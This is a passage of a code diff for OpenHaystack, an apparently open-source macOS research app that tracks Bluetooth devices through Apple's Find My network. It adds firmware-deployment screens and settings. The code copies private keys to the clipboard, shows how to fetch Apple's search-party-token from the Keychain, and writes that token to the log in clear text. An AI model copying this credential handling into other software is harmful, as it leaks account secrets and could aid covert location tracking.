let publicKeyString = [UInt8](publicKey).map { "\\x\(String($0, radix: 16))" }.joined()
let symmetricKeyString = [UInt8](symmetricKey).map { "\\x\(String($0, radix: 16))" }.joined()
let pasteboard = NSPasteboard.general
pasteboard.prepareForNewContents(with: .currentHostOnly)
pasteboard.setString("Symmetric key: \(symmetricKeyString)\n Uncompressed public key: \(publicKeyString) ", forType: .string)
} catch {
os_log("Failed extracing public key %@", String(describing: error))
assert(false)
}
}
func copySymmetricAndPublicKeyBase64(of accessory: Accessory) {
do {
let symmetricKey = accessory.symmetricKey
let publicKey = try accessory.getUncompressedPublicKey()
let pasteboard = NSPasteboard.general
pasteboard.prepareForNewContents(with: .currentHostOnly)
pasteboard.setString("Symmetric key: \(symmetricKey.base64EncodedString())\n Uncompressed public key: \(publicKey.base64EncodedString()) ", forType: .string)
} catch {
os_log("Failed extracing public key %@", String(describing: error))
assert(false)
}
}
func copyPrivateKey(accessory: Accessory) {
let privateKey = accessory.privateKey
let keyB64 = privateKey.base64EncodedString()
let pasteboard = NSPasteboard.general
pasteboard.prepareForNewContents(with: .currentHostOnly)
pasteboard.setString(keyB64, forType: .string)
}
func exportLocations(accessory: Accessory) {
guard let locations = accessory.locations,
let locationData = try? JSONEncoder().encode(locations)
else {
return
}
let savePanel = SavePanel.shared
savePanel.saveFile(file: locationData, fileExtension: "json")
}
struct AccessoryListEntry_Previews: PreviewProvider {
@StateObject static var accessory = PreviewData.accessories.first!
@State static var alertType: OpenHaystackMainView.AlertType?
@@ -121,6 +236,7 @@ struct AccessoryListEntry: View {
get: { accessory.name },
set: { accessory.name = $0 }
),
alertType: self.$alertType,
delete: { _ in () },
deployAccessoryToMicrobit: { _ in () },

View File

@@ -45,7 +45,8 @@ class AccessoryAnnotationView: MKAnnotationView {
func updateView() {
guard let accessory = (self.annotation as? AccessoryAnnotation)?.accessory else { return }
self.pinView?.removeFromSuperview()
self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory))
self.pinView = nil
self.pinView = NSHostingView(rootView: AccessoryPinView(accessory: accessory)) // TODO: LEAK! This view is not release properly
self.addSubview(pinView!)

View File

@@ -11,7 +11,7 @@ import AppKit
import Foundation
import SwiftUI
final class ActivityIndicator: NSViewRepresentable {
struct ActivityIndicator: NSViewRepresentable {
init(size: NSControl.ControlSize) {
self.size = size

View File

@@ -8,6 +8,7 @@
//
import SwiftUI
import os
struct ManageAccessoriesView: View {
@@ -18,9 +19,11 @@ struct ManageAccessoriesView: View {
// MARK: Bindings from main View
@Binding var alertType: OpenHaystackMainView.AlertType?
@Binding var scriptOutput: String?
@Binding var focusedAccessory: Accessory?
@Binding var accessoryToDeploy: Accessory?
@Binding var showESP32DeploySheet: Bool
@State var sheetShown: SheetType?
@State var showMailPopup = false
@@ -42,15 +45,21 @@ struct ManageAccessoriesView: View {
.toolbar(content: {
self.toolbarView
})
.sheet(
isPresented: self.$showESP32DeploySheet,
content: {
.sheet(item: self.$sheetShown) { sheetType in
switch sheetType {
case .esp32Install:
ESP32InstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType)
})
case .nrfDeviceInstall:
NRFInstallSheet(accessory: self.$accessoryToDeploy, alertType: self.$alertType, scriptOutput: self.$scriptOutput)
case .deployFirmware:
self.selectTargetView
}
}
}
/// Accessory List view.
var accessoryList: some View {
List(self.accessories, id: \.self, selection: $focusedAccessory) { accessory in
AccessoryListEntry(
accessory: accessory,
@@ -69,9 +78,10 @@ struct ManageAccessoriesView: View {
alertType: self.$alertType,
delete: self.delete(accessory:),
deployAccessoryToMicrobit: self.deploy(accessory:),
zoomOn: { self.focusedAccessory = $0 })
zoomOn: { self.focusedAccessory = $0 }
)
}
.listStyle(SidebarListStyle())
.listStyle(PlainListStyle())
}
@@ -103,6 +113,64 @@ struct ManageAccessoriesView: View {
}
}
var selectTargetView: some View {
VStack {
Text("Select target")
.font(.title)
Text("Please select to which device you want to deply")
.padding(.bottom, 4)
VStack {
Button(
"Micro:bit",
action: {
self.sheetShown = nil
if let accessory = self.accessoryToDeploy {
self.deployAccessoryToMicrobit(accessory: accessory)
}
}
)
.buttonStyle(LargeButtonStyle())
Button(
"Export Microbit firmware",
action: {
self.sheetShown = nil
if let accessory = self.accessoryToDeploy {
self.exportMicrobitFirmware(for: accessory)
}
}
)
.buttonStyle(LargeButtonStyle())
Button(
"ESP32",
action: {
self.sheetShown = .esp32Install
}
)
.buttonStyle(LargeButtonStyle())
Button(
"NRF Device",
action: {
self.sheetShown = .nrfDeviceInstall
}
).buttonStyle(LargeButtonStyle())
Button(
"Cancel",
action: {
self.sheetShown = nil
}
)
.buttonStyle(LargeButtonStyle(destructive: true))
}
}
.padding()
}
/// Delete an accessory from the list of accessories.
func delete(accessory: Accessory) {
do {
@@ -114,7 +182,7 @@ struct ManageAccessoriesView: View {
func deploy(accessory: Accessory) {
self.accessoryToDeploy = accessory
self.alertType = .selectDepoyTarget
self.sheetShown = .deployFirmware
}
/// Add an accessory with the provided details.
@@ -149,17 +217,81 @@ struct ManageAccessoriesView: View {
}
}
/// Deploy the public key of the accessory to a BBC microbit.
func deployAccessoryToMicrobit(accessory: Accessory) {
do {
try MicrobitController.deploy(accessory: accessory)
} catch {
os_log("Error occurred %@", String(describing: error))
self.alertType = .deployFailed
return
}
self.alertType = .deployedSuccessfully
accessory.isDeployed = true
self.accessoryToDeploy = nil
}
func exportMicrobitFirmware(for accessory: Accessory) {
do {
let firmware = try MicrobitController.patchFirmware(for: accessory)
let savePanel = NSSavePanel()
savePanel.allowedFileTypes = ["bin"]
savePanel.canCreateDirectories = true
savePanel.directoryURL = try FileManager.default.url(for: .documentDirectory, in: .userDomainMask, appropriateFor: nil, create: false)
savePanel.message = "Export the micro:bit firmware"
savePanel.nameFieldLabel = "Firmware name"
savePanel.nameFieldStringValue = "openhaystack_firmware.bin"
savePanel.prompt = "Export"
savePanel.title = "Export firmware"
let result = savePanel.runModal()
if result == .OK,
let url = savePanel.url
{
// Store the accessory file
try firmware.write(to: url)
}
} catch {
os_log("Error occurred %@", String(describing: error))
self.alertType = .exportFailed
return
}
}
enum SheetType: Int, Identifiable {
var id: Int {
return self.rawValue
}
case esp32Install
case nrfDeviceInstall
case deployFirmware
}
}
struct ManageAccessoriesView_Previews: PreviewProvider {
@State static var accessories = PreviewData.accessories
@State static var alertType: OpenHaystackMainView.AlertType?
@State static var scriptOutput: String?
@State static var focussed: Accessory?
@State static var deploy: Accessory?
@State static var showESPSheet: Bool = true
static var previews: some View {
ManageAccessoriesView(alertType: self.$alertType, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy, showESP32DeploySheet: self.$showESPSheet)
ManageAccessoriesView(
alertType: self.$alertType, scriptOutput: self.$scriptOutput, focusedAccessory: self.$focussed, accessoryToDeploy: self.$deploy,
showESP32DeploySheet: self.$showESPSheet)
}
}
//FIXME: This is a workaround, because the List with Default style (and clear background) started to crop the rows on macOS 11.3
extension NSTableView {
open override func viewDidMoveToWindow() {
super.viewDidMoveToWindow()
self.backgroundColor = .clear
}
}

View File

@@ -0,0 +1,182 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import OSLog
import SwiftUI
struct NRFInstallSheet: View {
@Binding var accessory: Accessory?
@Binding var alertType: OpenHaystackMainView.AlertType?
@Binding var scriptOutput: String?
@State var isFlashing = false
@ObservedObject var days = NumbersOnly()
@ObservedObject var hours = NumbersOnly()
@ObservedObject var minutes = NumbersOnly()
@Environment(\.presentationMode) var presentationMode
var body: some View {
VStack {
self.flashView
.padding()
.overlay(self.loadingOverlay)
.frame(minWidth: 640, minHeight: 480, alignment: .center)
}
.onAppear {
}
}
var flashView: some View {
VStack {
Text("Flash your NRF Device")
.font(.title2)
Text("Fill out options for flashing firmware")
.foregroundColor(.gray)
Divider()
Text(
"The new NRF firmware uses rotating keys. This means that the device changes its public key after a specific number of days. This disallows ad networks to track your device over several days when you are moving around the city. Shorter update cycles then days are not supported"
)
self.timePicker
Text("One day is a reasonable amount of time")
.font(.footnote)
.foregroundColor(.secondary)
Spacer()
HStack {
Spacer()
Button(
"Deploy",
action: {
if let accessory = self.accessory {
var daysInt = Int(days.value) ?? 1
if daysInt < 1 {
daysInt = 1
}
let hoursInt = 0
let minutesInt = 0
let updateInterval = daysInt * 24 * 60 + hoursInt * 60 + minutesInt
//warn user if no update interval was given
if updateInterval > 0 {
deployAccessoryToNRFDevice(accessory: accessory, updateInterval: updateInterval)
} else {
}
}
})
Button(
"Cancel",
action: {
self.presentationMode.wrappedValue.dismiss()
})
}
HStack {
Spacer()
Text("Flashing from M1 Macs might fail due to missing ARM support by NRF")
.font(.footnote)
.foregroundColor(.secondary)
}
}
}
var timePicker: some View {
Group {
HStack {
TextField("", text: $days.value).textFieldStyle(RoundedBorderTextFieldStyle())
Text("Day(s)")
}
}.padding()
}
var loadingOverlay: some View {
ZStack {
if isFlashing {
Rectangle()
.fill(Color.gray)
.opacity(0.5)
VStack {
ActivityIndicator(size: .large)
Text("This can take up to 3min")
}
}
}
}
func deployAccessoryToNRFDevice(accessory: Accessory, updateInterval: Int) {
do {
self.isFlashing = true
try NRFController.flashToNRF(
accessory: accessory,
updateInterval: updateInterval,
completion: { result in
presentationMode.wrappedValue.dismiss()
self.isFlashing = false
switch result {
case .success(_):
self.alertType = .deployedSuccessfully
accessory.isDeployed = true
accessory.usesDerivation = true
accessory.updateInterval = TimeInterval(updateInterval * 60)
case .failure(let loggingFileUrl, let error):
os_log(.error, "Flashing to NRF device failed %@", String(describing: error))
self.presentationMode.wrappedValue.dismiss()
self.alertType = .nrfDeployFailed
do {
self.scriptOutput = try String(contentsOf: loggingFileUrl, encoding: .ascii)
} catch {
self.scriptOutput = "Error while trying to read log file."
}
}
})
} catch {
os_log(.error, "Preparation or execution of script failed %@", String(describing: error))
self.presentationMode.wrappedValue.dismiss()
self.alertType = .deployFailed
self.isFlashing = false
}
self.accessory = nil
}
}
struct NRFInstallSheet_Previews: PreviewProvider {
@State static var acc: Accessory? = try! Accessory(name: "Sample")
@State static var alert: OpenHaystackMainView.AlertType?
@State static var scriptOutput: String?
static var previews: some View {
NRFInstallSheet(accessory: $acc, alertType: $alert, scriptOutput: $scriptOutput)
}
}
class NumbersOnly: ObservableObject {
@Published var value = "1" {
didSet {
let filtered = value.filter { $0.isNumber }
if value != filtered {
value = filtered
}
}
}
}

View File

@@ -23,6 +23,7 @@ struct OpenHaystackMainView: View {
@State var alertType: AlertType?
@State var popUpAlertType: PopUpAlertType?
@State var errorDescription: String?
@State var scriptOutput: String?
@State var searchPartyToken: String = ""
@State var searchPartyTokenLoaded = false
@State var mapType: MKMapType = .standard
@@ -37,12 +38,16 @@ struct OpenHaystackMainView: View {
@State var showESP32DeploySheet = false
@AppStorage("searchPartyToken") private var settingsSPToken: String?
@AppStorage("useMailPlugin") private var settingsUseMailPlugin: Bool = false
var body: some View {
NavigationView {
ManageAccessoriesView(
alertType: self.$alertType,
scriptOutput: self.$scriptOutput,
focusedAccessory: self.$focusedAccessory,
accessoryToDeploy: self.$accessoryToDeploy,
showESP32DeploySheet: self.$showESP32DeploySheet
@@ -133,8 +138,9 @@ struct OpenHaystackMainView: View {
Button(
action: {
if !self.mailPluginIsActive {
if self.settingsUseMailPlugin && !self.mailPluginIsActive {
self.showMailPlugInPopover.toggle()
self.checkPluginIsRunning(silent: true, nil)
} else {
self.downloadLocationReports()
}
@@ -171,15 +177,26 @@ struct OpenHaystackMainView: View {
return
}
let pluginManager = MailPluginManager()
// Check if the plugin is installed
if pluginManager.isMailPluginInstalled == false {
// Install the mail plugin
self.alertType = .activatePlugin
} else {
self.checkPluginIsRunning(nil)
/// Checks if the search party token was set in the settings. If true the plugin is also not needed
if let tokenString = self.settingsSPToken {
self.searchPartyToken = tokenString
return
}
/// Uses mail plugin if enabled in settings
if self.settingsUseMailPlugin {
let pluginManager = MailPluginManager()
// Check if the plugin is installed
if pluginManager.isMailPluginInstalled == false {
// Install the mail plugin
self.alertType = .activatePlugin
self.checkPluginIsRunning(silent: true, nil)
} else {
self.checkPluginIsRunning(nil)
}
}
}
/// Download the location reports for all current accessories. Shows an error if something fails, like plug-in is missing
@@ -221,26 +238,6 @@ struct OpenHaystackMainView: View {
.frame(width: 250, height: 120)
}
func deploy(accessory: Accessory) {
self.accessoryToDeploy = accessory
self.alertType = .selectDepoyTarget
}
/// Deploy the public key of the accessory to a BBC microbit.
func deployAccessoryToMicrobit(accessory: Accessory) {
do {
try MicrobitController.deploy(accessory: accessory)
} catch {
os_log("Error occurred %@", String(describing: error))
self.alertType = .deployFailed
return
}
self.alertType = .deployedSuccessfully
accessory.isDeployed = true
self.accessoryToDeploy = nil
}
/// Ask to install and activate the mail plugin.
func installMailPlugin() {
let pluginManager = MailPluginManager()
@@ -323,7 +320,19 @@ struct OpenHaystackMainView: View {
title: Text("Add the search party token"),
message: Text(
"""
Please paste the search party token below after copying itfrom the macOS Keychain.
Please paste the search party token in the settings after copying it from the macOS Keychain.
The item that contains the key can be found by searching for:
com.apple.account.DeviceLocator.search-party-token
"""
),
dismissButton: Alert.Button.okay())
case .invalidSearchPartyToken:
return Alert(
title: Text("Invalid search party token"),
message: Text(
"""
The request returned an empty result, this is probably due to an invalid search party token.
Please consider updating your search party token in the settings after copying it from the macOS Keychain.
The item that contains the key can be found by searching for:
com.apple.account.DeviceLocator.search-party-token
"""
@@ -334,6 +343,11 @@ struct OpenHaystackMainView: View {
title: Text("Could not deploy"),
message: Text("Deploying to microbit failed. Please reconnect the device over USB"),
dismissButton: Alert.Button.okay())
case .nrfDeployFailed:
return Alert(
title: Text("Could not deploy"),
message: Text(self.scriptOutput ?? "Unknown Error"),
dismissButton: Alert.Button.okay())
case .deployedSuccessfully:
return Alert(
title: Text("Deploy successfull"),
@@ -373,20 +387,6 @@ struct OpenHaystackMainView: View {
action: {
self.downloadPlugin()
}), secondaryButton: .cancel())
case .selectDepoyTarget:
let microbitButton = Alert.Button.default(Text("Microbit"), action: { self.deployAccessoryToMicrobit(accessory: self.accessoryToDeploy!) })
let esp32Button = Alert.Button.default(
Text("ESP32"),
action: {
self.showESP32DeploySheet = true
})
return Alert(
title: Text("Select target"),
message: Text("Please select to which device you want to deploy"),
primaryButton: microbitButton,
secondaryButton: esp32Button)
case .downloadingReportsFailed:
return Alert(
title: Text("Downloading locations failed"),
@@ -412,14 +412,15 @@ struct OpenHaystackMainView: View {
case keyError
case searchPartyToken
case invalidSearchPartyToken
case deployFailed
case nrfDeployFailed
case deployedSuccessfully
case deletionFailed
case noReportsFound
case downloadingReportsFailed
case activatePlugin
case pluginInstallFailed
case selectDepoyTarget
case exportFailed
case importFailed
}

View File

@@ -0,0 +1,36 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2024 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2024 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import SwiftUI
struct OpenHaystackSettingsView: View {
var body: some View {
TabView {
GeneralSettingsView()
.tabItem {
Label("General", systemImage: "gear")
}
}
}
}
struct GeneralSettingsView: View {
@AppStorage("useMailPlugin") private var useMailPlugin = false
@AppStorage("searchPartyToken") private var searchPartyToken = ""
var body: some View {
Form {
Toggle("Use Apple Mail Plugin (only works on macOS 13 and lower)", isOn: $useMailPlugin)
TextField("Search Party Token", text: $searchPartyToken)
}
.padding(20)
.frame(width: 600, height: 200)
}
}

View File

@@ -0,0 +1,33 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
// Copyright © 2021 The Open Wireless Link Project
//
// SPDX-License-Identifier: AGPL-3.0-only
//
import Foundation
import SwiftUI
struct LargeButtonStyle: ButtonStyle {
var active: Bool = false
var destructive: Bool = false
func makeBody(configuration: Configuration) -> some View {
ZStack {
if configuration.isPressed {
RoundedRectangle(cornerRadius: 5.0)
.fill(Color.accentColor)
} else {
RoundedRectangle(cornerRadius: 5.0)
.fill(self.active ? Color.accentColor : self.destructive ? Color.red : Color("Button"))
}
configuration.label
.font(Font.headline)
.padding(6)
}
}
}

View File

@@ -52,8 +52,8 @@ final class MapViewController: NSViewController, MKMapViewDelegate {
}
func zoomInOn(annotations: [MKAnnotation]) {
DispatchQueue.main.async {
self.mapView.showAnnotations(annotations, animated: true)
DispatchQueue.main.async { [weak self] in
self?.mapView.showAnnotations(annotations, animated: true)
}
}

View File

@@ -13,12 +13,18 @@ import SwiftUI
struct OpenHaystackApp: App {
@StateObject var accessoryController: AccessoryController
var accessoryNearbyMonitor: AccessoryNearbyMonitor?
var frameWidth: CGFloat? = nil
var frameHeight: CGFloat? = nil
@State var checkedForUpdates = false
init() {
let accessoryController: AccessoryController
if ProcessInfo().arguments.contains("-preview") {
accessoryController = AccessoryControllerPreview(accessories: PreviewData.accessories, findMyController: FindMyController())
self.accessoryNearbyMonitor = nil
// self.frameWidth = 1920
// self.frameHeight = 1080
} else {
accessoryController = AccessoryController()
self.accessoryNearbyMonitor = AccessoryNearbyMonitor(accessoryController: accessoryController)
@@ -30,9 +36,24 @@ struct OpenHaystackApp: App {
WindowGroup {
OpenHaystackMainView()
.environmentObject(self.accessoryController)
.frame(width: self.frameWidth, height: self.frameHeight)
.onAppear {
self.checkForUpdates()
}
}
.commands {
SidebarCommands()
}
#if os(macOS)
Settings {
OpenHaystackSettingsView()
}
#endif
}
func checkForUpdates() {
guard checkedForUpdates == false, ProcessInfo().arguments.contains("-stopUpdateCheck") == false else { return }
UpdateCheckController.checkForNewVersion()
checkedForUpdates = true
}
}

View File

@@ -26,10 +26,12 @@
CFTypeRef item;
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &item);
if (status == errSecSuccess) {
NSData *securityToken = (__bridge NSData *)(item);
CFRelease(item);
NSLog(@"Fetched token %@", [[NSString alloc] initWithData:securityToken encoding:NSUTF8StringEncoding]);
if (securityToken.length == 0) {
@@ -79,7 +81,8 @@
if (status == errSecSuccess) {
NSDictionary *itemDict = (__bridge NSDictionary *)(item);
CFRelease(item);
NSString *accountId = itemDict[(NSString *)kSecAttrAccount];
return accountId;

View File

@@ -22,6 +22,24 @@
<string>Copyright © 2021 SEEMOO TU Darmstadt</string>
<key>NSPrincipalClass</key>
<string>OpenHaystackPluginService</string>
<key>Supported10.14PluginCompatibilityUUIDs</key>
<array>
<string># UUIDs for versions from 10.12 to 99.99.99</string>
<string># For mail version 10.0 (3226) on OS X Version 10.12 (build 16A319)</string>
<string>36CCB8BB-2207-455E-89BC-B9D6E47ABB5B</string>
<string># For mail version 10.1 (3251) on OS X Version 10.12.1 (build 16B2553a)</string>
<string>9054AFD9-2607-489E-8E63-8B09A749BC61</string>
<string># For mail version 10.2 (3259) on OS X Version 10.12.2 (build 16D12b)</string>
<string>1CD3B36A-0E3B-4A26-8F7E-5BDF96AAC97E</string>
<string># For mail version 10.3 (3273) on OS X Version 10.12.4 (build 16G1036)</string>
<string>21560BD9-A3CC-482E-9B99-95B7BF61EDC1</string>
<string># For mail version 11.0 (3441.0.1) on OS X Version 10.13 (build 17A315i)</string>
<string>C86CD990-4660-4E36-8CDA-7454DEB2E199</string>
<string># For mail version 12.0 (3445.100.39) on OS X Version 10.14.1 (build 18B45d)</string>
<string>A4343FAF-AE18-40D0-8A16-DFAE481AF9C1</string>
<string># For mail version 13.0 (3594.4.2) on OS X Version 10.15 (build 19A558d)</string>
<string>6EEA38FB-1A0B-469B-BB35-4C2E0EEA9053</string>
</array>
<key>Supported10.15PluginCompatibilityUUIDs</key>
<array>
<string># UUIDs for versions from 10.12 to 99.99.99</string>
@@ -44,6 +62,10 @@
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.10PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.1PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
@@ -60,5 +82,189 @@
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.5PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.6PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.7PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.8PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported11.9PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
</array>
<key>Supported12.0PluginCompatibilityUUIDs</key>
<array>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
</array>
<key>Supported12.1PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
</array>
<key>Supported12.2PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
</array>
<key>Supported12.3PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string># For Mail.app version 16.0 (3696.80.82.1.1) on macOS version 12.3.1 (build 21E258)</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported12.4PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported12.5PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported12.6PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported12.7PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported12.8PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>D985F0E4-3BBC-4B95-BBA1-12056AC4A531</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported12.9PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported13.0PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported13.1PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
<key>Supported13.2PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
</array>
<key>Supported13.3PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
<key>Supported13.4PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
<key>Supported13.5PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
<key>Supported13.6PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
<key>Supported13.7PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
<key>Supported14.0PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
<key>Supported14.1PluginCompatibilityUUIDs</key>
<array>
<string>25288CEF-7D9B-49A8-BE6B-E41DA6277CF3</string>
<string>6FF8B077-81FA-45A4-BD57-17CDE79F13A5</string>
<string>224E7F96-2099-499C-A501-63FB68C79CD2</string>
<string>890E3F5B-9490-4828-8F3F-B6561E513FCC</string>
<string>A4B49485-0377-4FAB-8D8E-E3B8018CFC21</string>
<string>281F8A5C-0AF9-4BE6-8B8A-C0CB9C2068BE</string>
</array>
</dict>
</plist>

View File

@@ -0,0 +1,74 @@
//
// OpenHaystack Tracking personal Bluetooth devices via Apple's Find My network
//
